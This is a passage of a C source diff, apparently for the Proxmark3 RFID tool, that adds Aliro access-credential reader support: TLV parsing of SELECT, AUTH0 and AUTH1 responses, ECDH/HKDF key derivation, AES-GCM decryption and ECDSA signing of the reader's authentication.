have_revocation_signed_timestamp; + uint8_t revocation_signed_timestamp[20]; + bool have_mailbox_subset; + uint8_t mailbox_subset[ALIRO_MAX_TLV]; + size_t mailbox_subset_len; +} aliro_auth1_response_t; + +typedef struct { + uint8_t kdh[32]; + uint8_t exchange_sk_reader[32]; + uint8_t exchange_sk_device[32]; + uint8_t ble_sk_reader[32]; + uint8_t ble_sk_device[32]; + uint8_t ursk[32]; + bool cryptogram_sk_present; + uint8_t cryptogram_sk[32]; + bool step_up_keys_present; + uint8_t step_up_sk_reader[32]; + uint8_t step_up_sk_device[32]; + bool kpersistent_present; + uint8_t kpersistent[32]; +} aliro_derived_keys_t; + +typedef struct { + bool verified; + uint16_t signaling_bitmap; + uint8_t credential_signed_timestamp[20]; + uint8_t revocation_signed_timestamp[20]; + aliro_derived_keys_t keys; +} aliro_fast_result_t; + +typedef struct { + bool signature_checked; + bool signature_valid; + aliro_derived_keys_t keys; +} aliro_standard_result_t; + +typedef struct { + aliro_select_info_t select_info; + uint8_t protocol_version[2]; + uint8_t reader_identifier[32]; + uint8_t reader_public_key[65]; + uint8_t reader_public_key_x[32]; + uint8_t reader_ephemeral_public_key[65]; + uint8_t reader_ephemeral_public_key_x[32]; + uint8_t transaction_identifier[16]; + uint8_t auth0_command_parameters; + uint8_t auth0_suffix[ALIRO_MAX_TLV]; + size_t auth0_suffix_len; + aliro_auth0_response_t auth0_parsed; + aliro_fast_result_t fast_result; + aliro_auth1_response_t auth1_parsed; + aliro_standard_result_t standard_result; +} aliro_read_state_t; + static int CmdHelp(const char *Cmd); static const char *get_aliro_application_type_name(uint16_t type) { @@ -56,6 +183,132 @@ static const char *get_aliro_application_type_name(uint16_t type) { return NULL; } +static void aliro_print_big_header(const char *title) { + static const char dashes[] = "----------------------------------------------------------------------------------------------------"; + const size_t width = 82; + const size_t title_len = strlen(title); + + if (title_len + 2 >= width) { + PrintAndLogEx(INFO, _CYAN_("%s"), title); + return; + } + + size_t dash_count = width - (title_len + 2); + size_t left = dash_count / 2; + size_t right = dash_count - left; + if (left > (sizeof(dashes) - 1)) { + left = sizeof(dashes) - 1; + } + if (right > (sizeof(dashes) - 1)) { + right = sizeof(dashes) - 1; + } + + PrintAndLogEx(INFO, "%.*s " _CYAN_("%s") " %.*s", + (int)left, dashes, title, (int)right, dashes); +} + +static int aliro_rng_init(aliro_rng_t *rng) { + if (rng == NULL) { + return PM3_EINVARG; + } + + memset(rng, 0, sizeof(*rng)); + mbedtls_entropy_init(&rng->entropy); + mbedtls_ctr_drbg_init(&rng->ctr_drbg); + + static const uint8_t personalization[] = "pm3-aliro"; + int ret = mbedtls_ctr_drbg_seed(&rng->ctr_drbg, mbedtls_entropy_func, &rng->entropy, + personalization, sizeof(personalization) - 1); + if (ret != 0) { + PrintAndLogEx(ERR, "Failed to initialize random generator (mbedtls: %d)", ret); + mbedtls_ctr_drbg_free(&rng->ctr_drbg); + mbedtls_entropy_free(&rng->entropy); + return PM3_ESOFT; + } + + rng->seeded = true; + return PM3_SUCCESS; +} + +static void aliro_rng_free(aliro_rng_t *rng) { + if (rng == NULL) { + return; + } + + mbedtls_ctr_drbg_free(&rng->ctr_drbg); + mbedtls_entropy_free(&rng->entropy); + rng->seeded = false; +} + +static int aliro_ber_encode_length(size_t len, uint8_t *out, size_t out_max, size_t *out_len) { + if (out == NULL || out_len == NULL) { + return PM3_EINVARG; + } + + if (len <= 0x7F) { + if (out_max < 1) { + return PM3_EOVFLOW; + } + out[0] = (uint8_t)len; + *out_len = 1; + return PM3_SUCCESS; + } + + if (len <= 0xFF) { + if (out_max < 2) { + return PM3_EOVFLOW; + } + out[0] = 0x81; + out[1] = (uint8_t)len; + *out_len = 2; + return PM3_SUCCESS; + } + + if (len <= 0xFFFF) { + if (out_max < 3) { + return PM3_EOVFLOW; + } + out[0] = 0x82; + out[1] = (uint8_t)(len >> 8); + out[2] = (uint8_t)len; + *out_len = 3; + return PM3_SUCCESS; + } + + return PM3_EOVFLOW; +} + +static int aliro_append_tlv(uint8_t tag, const uint8_t *value, size_t value_len, + uint8_t *buf, size_t buf_max, size_t *offset) { + if (buf == NULL || offset == NULL) { + return PM3_EINVARG; + } + + if (*offset >= buf_max) { + return PM3_EOVFLOW; + } + buf[*offset] = tag; + (*offset)++; + + uint8_t len_buf[3] = {0}; + size_t len_size = 0; + int res = aliro_ber_encode_length(value_len, len_buf, sizeof(len_buf), &len_size); + if (res != PM3_SUCCESS) { + return res; + } + if ((*offset + len_size + value_len) > buf_max) { + return PM3_EOVFLOW; + } + + memcpy(buf + *offset, len_buf, len_size); + *offset += len_size; + if (value_len > 0 && value != NULL) { + memcpy(buf + *offset, value, value_len); + *offset += value_len; + } + return PM3_SUCCESS; +} + static void parse_extended_length_info(const uint8_t *buf, size_t len, bool *has_max_command, uint32_t *max_command, bool *has_max_response, uint32_t *max_response) { @@ -100,10 +353,14 @@ static void parse_extended_length_info(const uint8_t *buf, size_t len, } } -static int print_aliro_select_response(const uint8_t *buf, size_t len) { +static int parse_aliro_select_response(const uint8_t *buf, size_t len, aliro_select_info_t *info) { + if (info == NULL) { + return PM3_EINVARG; + } + memset(info, 0, sizeof(*info)); + const uint8_t *top_cursor = buf; size_t top_left = len; - bool have_fci = false; const uint8_t *fci_value = NULL; size_t fci_len = 0; @@ -115,7 +372,6 @@ static int print_aliro_select_response(const uint8_t *buf, size_t len) { } if (tlv.tag == 0x6F) { - have_fci = true; fci_value = top_cursor; fci_len = tlv.len; break; @@ -125,25 +381,11 @@ static int print_aliro_select_response(const uint8_t *buf, size_t len) { top_left -= tlv.len; } - if (have_fci == false) { + if (fci_value == NULL || fci_len == 0) { PrintAndLogEx(ERR, "SELECT response does not contain FCI template (tag 6F)"); return PM3_ECARDEXCHANGE; } - uint8_t versions[64] = {0}; - size_t versions_len = 0; - bool have_versions = false; - uint8_t fci_aid[APDU_AID_LEN] = {0}; - size_t fci_aid_len = 0; - bool have_fci_aid = false; - bool have_type = false; - uint16_t application_type = 0; - bool has_max_command = false; - uint32_t max_command = 0; - bool has_max_response = false; - uint32_t max_response = 0; - bool have_proprietary_template = false; - const uint8_t *fci_cursor = fci_value; size_t fci_left = fci_len; while (fci_left > 0) { @@ -155,15 +397,23 @@ static int print_aliro_select_response(const uint8_t *buf, size_t len) { const uint8_t *value = fci_cursor; if (tlv.tag == 0x84) { - have_fci_aid = true; - fci_aid_len = tlv.len; - if (fci_aid_len > sizeof(fci_aid)) { - fci_aid_len = sizeof(fci_aid); + info->have_fci_aid = true; + info->fci_aid_len = tlv.len; + if (info->fci_aid_len > sizeof(info->fci_aid)) { + info->fci_aid_len = sizeof(info->fci_aid); PrintAndLogEx(WARNING, "Returned FCI AID too long, truncating output"); } - memcpy(fci_aid, value, fci_aid_len); + memcpy(info->fci_aid, value, info->fci_aid_len); } else if (tlv.tag == 0xA5) { - have_proprietary_template = true; + info->have_proprietary_tlv = true; + size_t a5_tlv_len = 0; + int a5_res = aliro_append_tlv(0xA5, value, tlv.len, info->proprietary_tlv, sizeof(info->proprietary_tlv), &a5_tlv_len); + if (a5_res == PM3_SUCCESS) { + info->proprietary_tlv_len = a5_tlv_len; + } else { + PrintAndLogEx(WARNING, "Proprietary information TLV too long, key derivation may fail"); + info->have_proprietary_tlv = false; + } const uint8_t *a5_cursor = value; size_t a5_left = tlv.len; @@ -178,25 +428,25 @@ static int print_aliro_select_response(const uint8_t *buf, size_t len) { switch (field.tag) { case 0x80: if (field.len == 2) { - application_type = (uint16_t)((field_value[0] << 8) | field_value[1]); - have_type = true; + info->application_type = (uint16_t)((field_value[0] << 8) | field_value[1]); + info->have_type = true; } else { PrintAndLogEx(WARNING, "Unexpected application type size: %zu", field.len); } break; case 0x5C: - have_versions = true; - versions_len = field.len; - if (versions_len > sizeof(versions)) { - versions_len = sizeof(versions); + info->have_versions = true; + info->versions_len = field.len; + if (info->versions_len > sizeof(info->versions)) { + info->versions_len = sizeof(info->versions); PrintAndLogEx(WARNING, "Supported protocol versions list too long, truncating output"); } - memcpy(versions, field_value, versions_len); + memcpy(info->versions, field_value, info->versions_len); break; case 0x7F66: parse_extended_length_info(field_value, field.len, - &has_max_command, &max_command, - &has_max_response, &max_response); + &info->has_max_command, &info->max_command, + &info->has_max_response, &info->max_response); break; default: break; @@ -211,70 +461,123 @@ static int print_aliro_select_response(const uint8_t *buf, size_t len) { fci_left -= tlv.len; } - if (have_proprietary_template == false) { + if (info->have_proprietary_tlv == false) { PrintAndLogEx(ERR, "SELECT response does not contain proprietary information (tag A5)"); return PM3_ECARDEXCHANGE; } - if (have_fci_aid) { - PrintAndLogEx(INFO, "AID....................... %s", sprint_hex_inrow(fci_aid, fci_aid_len)); - } else { - PrintAndLogEx(INFO, "AID....................... not present"); - } - - if (have_versions && versions_len >= 2) { - PrintAndLogEx(INFO, "Supported protocol versions:"); - size_t pairs = versions_len / 2; - for (size_t i = 0; i < pairs; ++i) { - uint8_t major = versions[(i * 2)]; - uint8_t minor = versions[(i * 2) + 1]; - PrintAndLogEx(INFO, " %zu) %u.%u (0x%02X%02X)", i + 1, major, minor, major, minor); - } - - if ((versions_len % 2) != 0) { - PrintAndLogEx(WARNING, "Trailing protocol version byte ignored: %02X", versions[versions_len - 1]); - } - } else { - PrintAndLogEx(INFO, "Supported protocol versions: not present"); - } - - if (have_type) { - const char *type_name = get_aliro_application_type_name(application_type); - if (type_name != NULL) { - PrintAndLogEx(INFO, "Application type.......... " _YELLOW_("%s") " (0x%04X)", type_name, application_type); - } else { - PrintAndLogEx(INFO, "Application type.......... " _YELLOW_("Unknown") " (0x%04X)", application_type); - } - } else { - PrintAndLogEx(INFO, "Application type.......... not present"); - } - - if (has_max_command || has_max_response) { - if (has_max_command) { - PrintAndLogEx(INFO, "Maximum command APDU...... %" PRIu32 " bytes", max_command); - } - if (has_max_response) { - PrintAndLogEx(INFO, "Maximum response APDU..... %" PRIu32 " bytes", max_response); - } - } else { - PrintAndLogEx(INFO, "Maximum APDU sizes........ not provided"); - } - return PM3_SUCCESS; } -static int info_aliro(void) { - uint8_t buf[APDU_RES_LEN] = {0}; - size_t len = 0; +static void print_aliro_select_info(const aliro_select_info_t *info) { + if (info->have_fci_aid) { + PrintAndLogEx(INFO, "AID....................... %s", sprint_hex_inrow(info->fci_aid, info->fci_aid_len)); + } else { + PrintAndLogEx(INFO, "AID....................... not present"); + } + + if (info->have_versions && info->versions_len >= 2) { + PrintAndLogEx(INFO, "Supported protocol versions:"); + size_t pairs = info->versions_len / 2; + for (size_t i = 0; i < pairs; ++i) { + uint8_t major = info->versions[(i * 2)]; + uint8_t minor = info->versions[(i * 2) + 1]; + PrintAndLogEx(INFO, " %zu) " _YELLOW_("%u.%u") " (0x%02X%02X)", i + 1, major, minor, major, minor); + } + + if ((info->versions_len % 2) != 0) { + PrintAndLogEx(WARNING, "Trailing protocol version byte ignored: %02X", info->versions[info->versions_len - 1]); + } + } else { + PrintAndLogEx(INFO, "Supported protocol versions: not present"); + } + + if (info->have_type) { + const char *type_name = get_aliro_application_type_name(info->application_type); + if (type_name != NULL) { + PrintAndLogEx(INFO, "Application type.......... " _YELLOW_("%s") " (0x%04X)", type_name, info->application_type); + } else { + PrintAndLogEx(INFO, "Application type.......... " _YELLOW_("Unknown") " (0x%04X)", info->application_type); + } + } else { + PrintAndLogEx(INFO, "Application type.......... not present"); + } + + if (info->has_max_command || info->has_max_response) { + if (info->has_max_command) { + PrintAndLogEx(INFO, "Maximum command APDU...... " _GREEN_("%" PRIu32 " bytes"), info->max_command); + } + if (info->has_max_response) { + PrintAndLogEx(INFO, "Maximum response APDU..... " _GREEN_("%" PRIu32 " bytes"), info->max_response); + } + } else { + PrintAndLogEx(INFO, "Maximum APDU sizes........ not provided"); + } +} + +static int aliro_exchange_chained(bool activate_field, bool leave_field_on, + uint8_t cla, uint8_t ins, uint8_t p1, uint8_t p2, + const uint8_t *data, size_t data_len, + uint8_t *result, size_t max_result_len, + size_t *result_len, uint16_t *sw) { + if (result == NULL || result_len == NULL || sw == NULL) { + return PM3_EINVARG; + } + if (data_len > 255) { + PrintAndLogEx(ERR, "APDU payload too long: %zu (max 255)", data_len); + return PM3_EINVARG; + } + + *result_len = 0; + *sw = 0; + + uint8_t chunk[APDU_RES_LEN] = {0}; + size_t chunk_len = 0; + sAPDU_t apdu = {cla, ins, p1, p2, (uint8_t)data_len, (uint8_t *)data}; + int res = Iso7816ExchangeEx(CC_CONTACTLESS, activate_field, leave_field_on, + apdu, true, 0, chunk, sizeof(chunk), &chunk_len, sw); + if (res != PM3_SUCCESS) { + return res; + } + if ((chunk_len + *result_len) > max_result_len) { + return PM3_EOVFLOW; + } + memcpy(result + *result_len, chunk, chunk_len); + *result_len += chunk_len; + + while (((*sw >> 8) & 0xFF) == 0x61) { + uint16_t le = (*sw & 0xFF); + if (le == 0) { + le = 0x100; + } + + chunk_len = 0; + sAPDU_t get_response = {cla, ISO7816_GET_RESPONSE, 0x00, 0x00, 0x00, NULL}; + res = Iso7816ExchangeEx(CC_CONTACTLESS, false, leave_field_on, + get_response, true, le, chunk, sizeof(chunk), &chunk_len, sw); + if (res != PM3_SUCCESS) { + return res; + } + if ((chunk_len + *result_len) > max_result_len) { + return PM3_EOVFLOW; + } + memcpy(result + *result_len, chunk, chunk_len); + *result_len += chunk_len; + } + + return PM3_SUCCESS; +} + +static int aliro_select_with_info(aliro_select_info_t *info, bool keep_field_on) { + uint8_t response[ALIRO_MAX_BUFFER] = {0}; + size_t response_len = 0; uint16_t sw = 0; - int res = Iso7816Select(CC_CONTACTLESS, true, false, - (uint8_t *)ALIRO_EXPEDITED_AID, sizeof(ALIRO_EXPEDITED_AID), - buf, sizeof(buf), &len, &sw); - DropField(); - + int res = aliro_exchange_chained(true, keep_field_on, 0x00, ISO7816_SELECT_FILE, 0x04, 0x00, + ALIRO_EXPEDITED_AID, sizeof(ALIRO_EXPEDITED_AID), + response, sizeof(response), &response_len, &sw); if (res != PM3_SUCCESS) { - PrintAndLogEx(ERR, "APDU exchange error"); + PrintAndLogEx(ERR, "SELECT APDU exchange error"); return res; } @@ -285,10 +588,1374 @@ static int info_aliro(void) { } else { PrintAndLogEx(ERR, "APDU exchange error. Card returns 0x0000"); } - return PM3_SUCCESS; + return PM3_ESOFT; } - return print_aliro_select_response(buf, len); + return parse_aliro_select_response(response, response_len, info); +} + +static bool aliro_choose_protocol_version(const aliro_select_info_t *select_info, uint8_t protocol_version[2]) { + if (select_info == NULL || protocol_version == NULL) { + return false; + } + if (select_info->have_versions == false || select_info->versions_len < 2) { + return false; + } + + size_t pairs = select_info->versions_len / 2; + if (pairs == 0) { + return false; + } + + for (size_t i = 0; i < pairs; i++) { + if (select_info->versions[(i * 2)] == 0x01 && select_info->versions[(i * 2) + 1] == 0x00) { + protocol_version[0] = 0x01; + protocol_version[1] = 0x00; + return true; + } + } + + protocol_version[0] = select_info->versions[0]; + protocol_version[1] = select_info->versions[1]; + return true; +} + +static int aliro_load_private_key(const uint8_t private_key_bytes[32], mbedtls_ecp_keypair *keypair, aliro_rng_t *rng) { + if (private_key_bytes == NULL || keypair == NULL || rng == NULL || rng->seeded == false) { + return PM3_EINVARG; + } + + mbedtls_ecp_keypair_init(keypair); + int ret = mbedtls_ecp_group_load(&keypair->grp, MBEDTLS_ECP_DP_SECP256R1); + if (ret != 0) { + return PM3_ESOFT; + } + ret = mbedtls_mpi_read_binary(&keypair->d, private_key_bytes, 32); + if (ret != 0) { + return PM3_ESOFT; + } + ret = mbedtls_ecp_check_privkey(&keypair->grp, &keypair->d); + if (ret != 0) { + return PM3_ESOFT; + } + + ret = mbedtls_ecp_mul(&keypair->grp, &keypair->Q, &keypair->d, &keypair->grp.G, + mbedtls_ctr_drbg_random, &rng->ctr_drbg); + if (ret != 0) { + return PM3_ESOFT; + } + + ret = mbedtls_ecp_check_pubkey(&keypair->grp, &keypair->Q); + if (ret != 0) { + return PM3_ESOFT; + } + + return PM3_SUCCESS; +} + +static int aliro_generate_ephemeral_keypair(mbedtls_ecp_keypair *keypair, aliro_rng_t *rng) { + if (keypair == NULL || rng == NULL || rng->seeded == false) { + return PM3_EINVARG; + } + + mbedtls_ecp_keypair_init(keypair); + int ret = mbedtls_ecp_gen_key(MBEDTLS_ECP_DP_SECP256R1, keypair, mbedtls_ctr_drbg_random, &rng->ctr_drbg); + if (ret != 0) { + return PM3_ESOFT; + } + + return PM3_SUCCESS; +} + +static int aliro_export_uncompressed_pubkey(const mbedtls_ecp_keypair *keypair, uint8_t out[65]) { + if (keypair == NULL || out == NULL) { + return PM3_EINVARG; + } + size_t written = 0; + int ret = mbedtls_ecp_point_write_binary(&keypair->grp, &keypair->Q, + MBEDTLS_ECP_PF_UNCOMPRESSED, &written, out, 65); + if (ret != 0 || written != 65) { + return PM3_ESOFT; + } + return PM3_SUCCESS; +} + +static int aliro_export_pubkey_x(const mbedtls_ecp_keypair *keypair, uint8_t out[32]) { + if (keypair == NULL || out == NULL) { + return PM3_EINVARG; + } + int ret = mbedtls_mpi_write_binary(&keypair->Q.X, out, 32); + return (ret == 0) ? PM3_SUCCESS : PM3_ESOFT; +} + +static int aliro_load_public_key(const uint8_t public_key[65], mbedtls_ecp_keypair *keypair) { + if (public_key == NULL || keypair == NULL) { + return PM3_EINVARG; + } + if (public_key[0] != 0x04) { + return PM3_EINVARG; + } + + mbedtls_ecp_keypair_init(keypair); + int ret = mbedtls_ecp_group_load(&keypair->grp, MBEDTLS_ECP_DP_SECP256R1); + if (ret != 0) { + return PM3_ESOFT; + } + ret = mbedtls_ecp_point_read_binary(&keypair->grp, &keypair->Q, public_key, 65); + if (ret != 0) { + return PM3_ESOFT; + } + ret = mbedtls_ecp_check_pubkey(&keypair->grp, &keypair->Q); + if (ret != 0) { + return PM3_ESOFT; + } + return PM3_SUCCESS; +} + +static int aliro_compute_kdh(const mbedtls_ecp_keypair *reader_ephemeral_private_key, + const uint8_t endpoint_ephemeral_public_key[65], + const uint8_t transaction_identifier[16], + uint8_t kdh[32], + aliro_rng_t *rng) { + if (reader_ephemeral_private_key == NULL || endpoint_ephemeral_public_key == NULL || + transaction_identifier == NULL || kdh == NULL || rng == NULL || rng->seeded == false) { + return PM3_EINVARG; + } + + mbedtls_ecp_keypair endpoint_ephemeral_key; + mbedtls_ecp_keypair_init(&endpoint_ephemeral_key); + int ret = aliro_load_public_key(endpoint_ephemeral_public_key, &endpoint_ephemeral_key); + if (ret != PM3_SUCCESS) { + mbedtls_ecp_keypair_free(&endpoint_ephemeral_key); + return ret; + } + + mbedtls_mpi shared_secret; + mbedtls_mpi_init(&shared_secret); + ret = mbedtls_ecdh_compute_shared((mbedtls_ecp_group *)&reader_ephemeral_private_key->grp, + &shared_secret, + &endpoint_ephemeral_key.Q, + &reader_ephemeral_private_key->d, + mbedtls_ctr_drbg_random, + &rng->ctr_drbg); + if (ret != 0) { + mbedtls_mpi_free(&shared_secret); + mbedtls_ecp_keypair_free(&endpoint_ephemeral_key); + return PM3_ESOFT; + } + + uint8_t zab[32] = {0}; + ret = mbedtls_mpi_write_binary(&shared_secret, zab, sizeof(zab)); + mbedtls_mpi_free(&shared_secret); + mbedtls_ecp_keypair_free(&endpoint_ephemeral_key); + if (ret != 0) { + return PM3_ESOFT; + } + + if (ansi_x963_sha256(zab, sizeof(zab), + (uint8_t *)transaction_identifier, 16, + 32, kdh) != PM3_SUCCESS) { + return PM3_ESOFT; + } + return PM3_SUCCESS; +} + +static int aliro_hkdf_sha256(const uint8_t *ikm, size_t ikm_len, + const uint8_t *salt, size_t salt_len, + const uint8_t *info, size_t info_len, + uint8_t *out, size_t out_len) { + if (ikm == NULL || salt == NULL || info == NULL || out == NULL) { + return PM3_EINVARG; + } + + const mbedtls_md_info_t *md_info = mbedtls_md_info_from_type(MBEDTLS_MD_SHA256); + if (md_info == NULL) { + return PM3_ESOFT; + } + + int ret = mbedtls_hkdf(md_info, salt, salt_len, ikm, ikm_len, info, info_len, out, out_len); + return (ret == 0) ? PM3_SUCCESS : PM3_ESOFT; +} + +static int aliro_aes_gcm_decrypt(const uint8_t key[32], const uint8_t *iv, size_t iv_len, + const uint8_t *ciphertext_and_tag, size_t ciphertext_and_tag_len, + uint8_t *plaintext) { + if (key == NULL || iv == NULL || ciphertext_and_tag == NULL || plaintext == NULL) { + return PM3_EINVARG; + } + if (ciphertext_and_tag_len < 16) { + return PM3_EINVARG; + } + + size_t ciphertext_len = ciphertext_and_tag_len - 16; + const uint8_t *tag = ciphertext_and_tag + ciphertext_len; + mbedtls_gcm_context gcm; + mbedtls_gcm_init(&gcm); + + int ret = mbedtls_gcm_setkey(&gcm, MBEDTLS_CIPHER_ID_AES, key, 256); + if (ret == 0) { + ret = mbedtls_gcm_auth_decrypt(&gcm, + ciphertext_len, + iv, + iv_len, + NULL, + 0, + tag, + 16, + ciphertext_and_tag, + plaintext); + } + + mbedtls_gcm_free(&gcm); + return (ret == 0) ? PM3_SUCCESS : PM3_ESOFT; +} + +static int aliro_create_auth1_signature(const mbedtls_ecp_keypair *reader_private_key, + const uint8_t *data, size_t data_len, + uint8_t signature[64]) { + if (reader_private_key == NULL || data == NULL || signature == NULL) { + return PM3_EINVARG; + } + + uint8_t private_key[32] = {0}; + uint8_t public_key[65] = {0}; + if (mbedtls_mpi_write_binary(&reader_private_key->d, private_key, sizeof(private_key)) != 0) { + return PM3_ESOFT; + } + if (aliro_export_uncompressed_pubkey(reader_private_key, public_key) != PM3_SUCCESS) { + return PM3_ESOFT; + } + + uint8_t der_signature[80] = {0}; + size_t der_signature_len = sizeof(der_signature); + if (ecdsa_signature_create(MBEDTLS_ECP_DP_SECP256R1, + private_key, + public_key, + (uint8_t *)data, + (int)data_len, + der_signature, + &der_signature_len, + true) != PM3_SUCCESS) { + return PM3_ESOFT; + } + + uint8_t r[32] = {0}; + uint8_t s[32] = {0}; + if (ecdsa_asn1_get_signature(der_signature, der_signature_len, r, s) != 0) { + return PM3_ESOFT; + } + memcpy(signature, r, 32); + memcpy(signature + 32, s, 32); + return PM3_SUCCESS; +} + +static int aliro_parse_auth0_response(const uint8_t *buf, size_t len, aliro_auth0_response_t *out) { + if (buf == NULL || out == NULL) { + return PM3_EINVARG; + } + memset(out, 0, sizeof(*out)); + + const uint8_t *cursor = buf; + size_t left = len; + while (left > 0) { + struct tlv tlv = {0}; + if (tlv_parse_tl(&cursor, &left, &tlv) == false || tlv.len > left) { + PrintAndLogEx(ERR, "Malformed AUTH0 response"); + return PM3_ECARDEXCHANGE; + } + + const uint8_t *value = cursor; + switch (tlv.tag) { + case 0x86: + if (tlv.len != 65 || value[0] != 0x04) { + PrintAndLogEx(ERR, "Invalid AUTH0 tag 0x86 length/format (%zu)", tlv.len); + return PM3_ECARDEXCHANGE; + } + out->have_endpoint_ephemeral_public_key = true; + memcpy(out->endpoint_ephemeral_public_key, value, 65); + memcpy(out->endpoint_ephemeral_public_key_x, value + 1, 32); + break; + case 0x9D: + if (tlv.len != 64) { + PrintAndLogEx(ERR, "Invalid AUTH0 cryptogram length (%zu)", tlv.len); + return PM3_ECARDEXCHANGE; + } + out->have_cryptogram = true; + memcpy(out->cryptogram, value, 64); + break; + case 0xB2: { + out->have_auth0_response_vendor_extension = true; + size_t tlv_len = 0; + int tlv_res = aliro_append_tlv(0xB2, value, tlv.len, + out->auth0_response_vendor_extension_tlv, + sizeof(out->auth0_response_vendor_extension_tlv), + &tlv_len); + if (tlv_res != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "AUTH0 vendor extension too long, ignoring"); + out->have_auth0_response_vendor_extension = false; + } else { + out->auth0_response_vendor_extension_tlv_len = tlv_len; + } + break; + } + default: + break; + } + + cursor += tlv.len; + left -= tlv.len; + } + + if (out->have_endpoint_ephemeral_public_key == false) { + PrintAndLogEx(ERR, "AUTH0 response does not contain endpoint ephemeral public key (tag 0x86)"); + return PM3_ECARDEXCHANGE; + } + return PM3_SUCCESS; +} + +static int aliro_parse_auth1_plaintext(const uint8_t *buf, size_t len, aliro_auth1_response_t *out) { + if (buf == NULL || out == NULL) { + return PM3_EINVARG; + } + memset(out, 0, sizeof(*out)); + + const uint8_t *cursor = buf; + size_t left = len; + while (left > 0) { + struct tlv tlv = {0}; + if (tlv_parse_tl(&cursor, &left, &tlv) == false || tlv.len > left) { + PrintAndLogEx(ERR, "Malformed AUTH1 plaintext response"); + return PM3_ECARDEXCHANGE; + } + + const uint8_t *value = cursor; + switch (tlv.tag) { + case 0x4E: + if (tlv.len != sizeof(out->key_slot)) { + PrintAndLogEx(ERR, "Invalid AUTH1 key_slot size (%zu)", tlv.len); + return PM3_ECARDEXCHANGE; + } + out->have_key_slot = true; + memcpy(out->key_slot, value, sizeof(out->key_slot)); + break; + case 0x5A: + if (tlv.len != 65 || value[0] != 0x04) { + PrintAndLogEx(ERR, "Invalid AUTH1 endpoint public key size/format (%zu)", tlv.len); + return PM3_ECARDEXCHANGE; + } + out->have_endpoint_public_key = true; + memcpy(out->endpoint_public_key, value, 65); + memcpy(out->endpoint_public_key_x, value + 1, 32); + break; + case 0x9E: + if (tlv.len != 64) { + PrintAndLogEx(ERR, "Invalid AUTH1 signature size (%zu)", tlv.len); + return PM3_ECARDEXCHANGE; + } + out->have_signature = true; + memcpy(out->signature, value, 64); + break; + case 0x5E: + if (tlv.len != 2) { + PrintAndLogEx(ERR, "Invalid AUTH1 signaling bitmap size (%zu)", tlv.len); + return PM3_ECARDEXCHANGE; + } + out->have_signaling_bitmap = true; + out->signaling_bitmap = (uint16_t)((value[0] << 8) | value[1]); + break; + case 0x91: + if (tlv.len != sizeof(out->credential_signed_timestamp)) { + PrintAndLogEx(ERR, "Invalid AUTH1 credential timestamp size (%zu)", tlv.len); + return PM3_ECARDEXCHANGE; + } + out->have_credential_signed_timestamp = true; + memcpy(out->credential_signed_timestamp, value, sizeof(out->credential_signed_timestamp)); + break; + case 0x92: + if (tlv.len != sizeof(out->revocation_signed_timestamp)) { + PrintAndLogEx(ERR, "Invalid AUTH1 revocation timestamp size (%zu)", tlv.len); + return PM3_ECARDEXCHANGE; + } + out->have_revocation_signed_timestamp = true; + memcpy(out->revocation_signed_timestamp, value, sizeof(out->revocation_signed_timestamp)); + break; + case 0x4B: + out->have_mailbox_subset = true; + out->mailbox_subset_len = MIN(sizeof(out->mailbox_subset), tlv.len); + memcpy(out->mailbox_subset, value, out->mailbox_subset_len); + break; + default: + break; + } + + cursor += tlv.len; + left -= tlv.len; + } + + if (out->have_signature == false) { + PrintAndLogEx(ERR, "AUTH1 plaintext missing signature (tag 0x9E)"); + return PM3_ECARDEXCHANGE; + } + if (out->have_signaling_bitmap == false) { + PrintAndLogEx(ERR, "AUTH1 plaintext missing signaling bitmap (tag 0x5E)"); + return PM3_ECARDEXCHANGE; + } + if (out->have_key_slot == false && out->have_endpoint_public_key == false) { + PrintAndLogEx(ERR, "AUTH1 plaintext missing both key slot and endpoint public key"); + return PM3_ECARDEXCHANGE; + } + return PM3_SUCCESS; +} + +static void aliro_print_signaling_bitmap(uint16_t bitmap) { + static const char *bit_names[] = { + "Access document can be retrieved", + "Revocation document can be retrieved", + "Step-up SELECT required for doc retrieval", + "Mailbox has non-zero data", + "Mailbox read supported", + "Mailbox write/set supported", + "Notify backend supported", + "Notify bound app supported", + "RFU (bit8)", + "update_doc supported in expedited phase", + "Mailbox in step-up available", + "Notify in step-up supported", + "update_doc in step-up supported", + }; + + PrintAndLogEx(INFO, "Signaling bitmap......... " _YELLOW_("0x%04X"), bitmap); + for (size_t i = 0; i < ARRAYLEN(bit_names); i++) { + if ((bitmap & (1U << i)) != 0) { + PrintAndLogEx(INFO, " " _YELLOW_("bit%-2zu") " set.............. %s", i, bit_names[i]); + } + } +} + +static bool aliro_is_zeroed(const uint8_t *buf, size_t len) { + if (buf == NULL) { + return true; + } + for (size_t i = 0; i < len; i++) { + if (buf[i] != 0x00) { + return false; + } + } + return true; +} + +static bool aliro_is_ascii(const uint8_t *buf, size_t len) { + if (buf == NULL) { + return false; + } + for (size_t i = 0; i < len; i++) { + if (buf[i] < 0x20 || buf[i] > 0x7E) { + return false; + } + } + return true; +} + +static void aliro_print_timestamp(const char *label, const uint8_t *timestamp, bool have) { + if (have == false) { + PrintAndLogEx(INFO, "%s not present", label); + return; + } + if (aliro_is_zeroed(timestamp, 20)) { + PrintAndLogEx(INFO, "%s all-zero", label); + return; + } + if (aliro_is_ascii(timestamp, 20)) { + PrintAndLogEx(INFO, "%s %s", label, sprint_ascii(timestamp, 20)); + } else { + PrintAndLogEx(INFO, "%s %s", label, sprint_hex_inrow(timestamp, 20)); + } +} + +static int aliro_buf_append(uint8_t *buf, size_t buf_len, size_t *offset, const uint8_t *data, size_t data_len) { + if (buf == NULL || offset == NULL || (data_len > 0 && data == NULL)) { + return PM3_EINVARG; + } + if (*offset > buf_len || data_len > (buf_len - *offset)) { + return PM3_EOVFLOW; + } + if (data_len > 0) { + memcpy(buf + *offset, data, data_len); + *offset += data_len; + } + return PM3_SUCCESS; +} + +static int aliro_build_kdf_info(uint8_t *info, size_t info_len, size_t *written_len, + const uint8_t endpoint_ephemeral_public_key_x[32], + const uint8_t *auth0_suffix, size_t auth0_suffix_len) { + if (info == NULL || written_len == NULL || endpoint_ephemeral_public_key_x == NULL || + (auth0_suffix_len > 0 && auth0_suffix == NULL)) { + return PM3_EINVARG; + } + + *written_len = 0; + int res = aliro_buf_append(info, info_len, written_len, endpoint_ephemeral_public_key_x, 32); + if (res != PM3_SUCCESS) { + return res; + } + return aliro_buf_append(info, info_len, written_len, auth0_suffix, auth0_suffix_len); +} + +static int aliro_build_kdf_salt(uint8_t *salt, size_t salt_len, size_t *written_len, + const uint8_t reader_public_key_x[32], + const 